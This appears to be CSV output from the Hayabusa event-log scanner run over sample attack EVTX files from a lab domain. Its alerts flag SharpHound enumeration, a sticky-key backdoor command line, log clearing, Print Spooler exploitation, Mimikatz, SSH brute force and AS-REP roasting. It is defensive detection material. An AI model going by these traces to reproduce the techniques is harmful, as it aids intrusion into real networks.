SharpHound.evtx +2021-05-03 17:58:38.762 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62210 : LogonID: 0x213dfbef,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.762 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62208 : LogonID: 0x28da8a22,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.771 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62218 : LogonID: 0x213dfc1c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.771 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62216 : LogonID: 0x28da8a5a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.772 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62217 : LogonID: 0x28da8a76,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.773 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62220 : LogonID: 0x28da8a88,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.773 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62221 : LogonID: 0x213dfc3f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.773 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62224 : LogonID: 0x213dfc4d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.774 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62234 : LogonID: 0x258b9ee5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.775 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62235 : LogonID: 0x258b9ef8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.775 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62236 : LogonID: 0x258b9efd,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 21:06:57.954 +09:00,win10-02.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: C:\windows\system32\cmd.exe sethc.exe 211 : Path: C:\Windows\System32\cmd.exe : User: OFFSEC\admmig : Parent Command: winlogon.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID1-CMD executed via sticky key call.evtx +2021-05-03 21:06:57.954 +09:00,win10-02.offsec.lan,1,critical,Sticky Key Like Backdoor Usage,,rules/sigma/process_creation/process_creation_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID1-CMD executed via sticky key call.evtx +2021-05-15 05:39:33.214 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4688-4697 RDP hijack via service creation.evtx +2021-05-19 06:18:40.607 +09:00,rootdc1.offsec.lan,150,critical,DNS Server Error Failed Loading the ServerLevelPluginDLL,,rules/sigma/other/dns_server/win_susp_dns_config.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:18:40.607 +09:00,rootdc1.offsec.lan,150,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:18:40.607 +09:00,rootdc1.offsec.lan,150,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:23:27.038 +09:00,rootdc1.offsec.lan,150,critical,DNS Server Error Failed Loading the ServerLevelPluginDLL,,rules/sigma/other/dns_server/win_susp_dns_config.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:23:27.038 +09:00,rootdc1.offsec.lan,150,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:23:27.038 +09:00,rootdc1.offsec.lan,150,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:30:17.318 +09:00,rootdc1.offsec.lan,4688,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID4688-DNS DLL serverlevelplugindll command.evtx +2021-05-19 06:30:17.318 +09:00,rootdc1.offsec.lan,4688,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID4688-DNS DLL serverlevelplugindll command.evtx +2021-05-19 06:30:17.318 +09:00,rootdc1.offsec.lan,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID4688-DNS DLL serverlevelplugindll command.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,critical,DNS Server Error Failed Loading the ServerLevelPluginDLL,,rules/sigma/other/dns_server/win_susp_dns_config.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-20 21:49:31.863 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:46.875 +09:00,fs01.offsec.lan,4648,informational,Explicit Logon,Source User: FS01$ : Target User: sshd_5848 : IP Address: - : Process: C:\Program Files\OpenSSH-Win64\sshd.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:46.876 +09:00,fs01.offsec.lan,4624,low,Logon Type 5 - Service,User: sshd_5848 : Workstation: - : IP Address: - : Port: - : LogonID: 0x3c569ed,rules/hayabusa/default/events/Security/Logons/4624_LogonType-5-Service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:46.876 +09:00,fs01.offsec.lan,4672,informational,Admin Logon,User: sshd_5848 : LogonID: 0x3c569ed,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:52.315 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:52.315 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:52.315 +09:00,-,-,medium,User Guessing Attempt,[condition] count() by IpAddress >= 5 in timeframe [result] count:5 IpAddress:- timeframe:5m,rules/hayabusa/default/alerts/Security/4625_BruteForce_UserGuessingDetect.yml,- +2021-05-20 21:49:53.378 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:53.378 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.043 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.043 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.662 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.662 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.945 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.945 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-22 05:43:07.153 +09:00,fs01.offsec.lan,4648,informational,Explicit Logon,Source User: FS01$ : Target User: sshd_4332 : IP Address: - : Process: C:\Program Files\OpenSSH-Win64\sshd.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:07.153 +09:00,fs01.offsec.lan,4624,low,Logon Type 5 - Service,User: sshd_4332 : Workstation: - : IP Address: - : Port: - : LogonID: 0x47a203c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-5-Service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:18.227 +09:00,fs01.offsec.lan,4648,informational,Explicit Logon,Source User: FS01$ : Target User: admmig : IP Address: - : Process: C:\Program Files\OpenSSH-Win64\sshd.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:22.562 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:22.562 +09:00,-,-,medium,Password Guessing Attack,[condition] count() by IpAddress >= 5 in timeframe [result] count:5 IpAddress:- timeframe:5m,rules/hayabusa/default/alerts/Security/4625_BruteForce_PasswordGuessingDetect.yml,- +2021-05-22 05:43:49.345 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:50.131 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:50.607 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:50.866 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-23 06:56:57.685 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID4688-netsh helper DLL.evtx +2021-05-23 06:57:11.842 +09:00,fs01.offsec.lan,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID4688-netsh helper DLL.evtx +2021-05-23 06:57:11.842 +09:00,fs01.offsec.lan,4688,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID4688-netsh helper DLL.evtx +2021-05-26 22:02:27.149 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47156 : LogonID: 0x312517c1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:27.155 +09:00,mssql01.offsec.lan,5145,critical,CVE-2021-1675 Print Spooler Exploitation IPC Access,,rules/sigma/builtin/security/win_exploit_cve_2021_1675_printspooler_security.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:27.155 +09:00,mssql01.offsec.lan,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:29.726 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47160 : LogonID: 0x31251a6a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:29.734 +09:00,mssql01.offsec.lan,5145,critical,CVE-2021-1675 Print Spooler Exploitation IPC Access,,rules/sigma/builtin/security/win_exploit_cve_2021_1675_printspooler_security.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:29.734 +09:00,mssql01.offsec.lan,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.373 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65333 : LogonID: 0x31251ce4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.375 +09:00,mssql01.offsec.lan,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.379 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65335 : LogonID: 0x31251d11,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.379 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65336 : LogonID: 0x31251d23,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.380 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65337 : LogonID: 0x31251d36,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-27 05:24:46.570 +09:00,rootdc1.offsec.lan,4768,medium,Possible AS-REP Roasting,Possible AS-REP Roasting,rules/hayabusa/default/alerts/Security/4768_StealOrForgeKerberosTickets_AS-REP-Roasting.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4768-Kerberos AS-REP Roasting.evtx +2021-05-27 05:24:46.570 +09:00,rootdc1.offsec.lan,4768,informational,Kerberos TGT was requested,User: admin-test : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0 : PreAuthType: 0,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4768-Kerberos AS-REP Roasting.evtx +2021-06-01 23:06:34.542 +09:00,fs01.offsec.lan,4720,medium,Local user account created,User: WADGUtilityAccount : SID:S-1-5-21-1081258321-37805170-3511562335-1000,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4720,4698-Fortinet APT group abuse on Windows.evtx" +2021-06-01 23:08:21.225 +09:00,fs01.offsec.lan,4720,medium,Local user account created,User: elie : SID:S-1-5-21-1081258321-37805170-3511562335-1001,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4720,4698-Fortinet APT group abuse on Windows.evtx" +2021-06-03 21:17:56.988 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0011-Command and Control/T1090-Proxy/ID4688-netsh port forwarding abuse.evtx +2021-06-03 21:18:12.941 +09:00,fs01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x322e5b7,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0011-Command and Control/T1090-Proxy/ID4688-netsh port forwarding abuse.evtx +2021-06-03 21:18:12.942 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 56061 : LogonID: 0x322e5b7,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0011-Command and Control/T1090-Proxy/ID4688-netsh port forwarding abuse.evtx +2021-06-04 03:34:12.672 +09:00,fs01.offsec.lan,4104,high,Windows Firewall Profile Disabled,,rules/sigma/powershell/powershell_script/powershell_windows_firewall_profile_disabled.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID800-4103-Firewall disabled.evtx +2021-06-04 04:17:44.873 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID4688-5447-4950-Firewall disabled (command).evtx +2021-06-04 04:39:52.893 +09:00,fs01.offsec.lan,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID2003-4950-Firewall disabled.evtx +2021-06-04 04:39:52.895 +09:00,fs01.offsec.lan,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID2003-4950-Firewall disabled.evtx +2021-06-04 04:39:53.056 +09:00,fs01.offsec.lan,2003,low,USB Device 